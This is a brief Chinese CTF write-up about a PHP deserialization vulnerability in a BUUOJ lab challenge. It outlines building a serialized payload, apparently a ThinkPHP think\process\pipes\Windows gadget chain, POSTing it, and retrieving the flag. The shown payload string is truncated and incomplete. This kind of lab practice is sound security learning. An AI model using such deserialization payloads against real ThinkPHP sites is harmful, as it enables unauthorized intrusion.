【CTFer成长之路】反序列化漏洞

原创儒道易行儒道易行 2025-05-05 12:00

反序列化漏洞

1.访问url：

http://91a5ef16-ff14-4e0d-a687-32bdb4f61ecf.node3.buuoj.cn/

点击下载源码

本地搭建环境并访问url：

http://127.0.0.1/www/public/

构造payload：

POST的参数，就是生成的反序列化字符串

进行攻击

攻击成功，页面回显如下

访问url：

http://91a5ef16-ff14-4e0d-a687-32bdb4f61ecf.node3.buuoj.cn/

构造payload：

POST的参数，就是生成的反序列化字符串

str=O%3A27%3A%22think%5Cprocess%5Cpipes%5CWindows%22%3A1%3A%7Bs%3A34%3A%22%00think%5Cprocess%5Cpipes%5CWindows%00files%22%3Ba%3A1%

进行攻击

攻击成功，页面回显如下，拿到flag为n1book{de70641304640057390e8fabc8b515bf}

文笔生疏，措辞浅薄，望各位大佬不吝赐教，万分感谢。

免责声明：由于传播或利用此文所提供的信息、技术或方法而造成的任何直接或间接的后果及损失，均由使用者本人负责，文章作者不为此承担任何责任。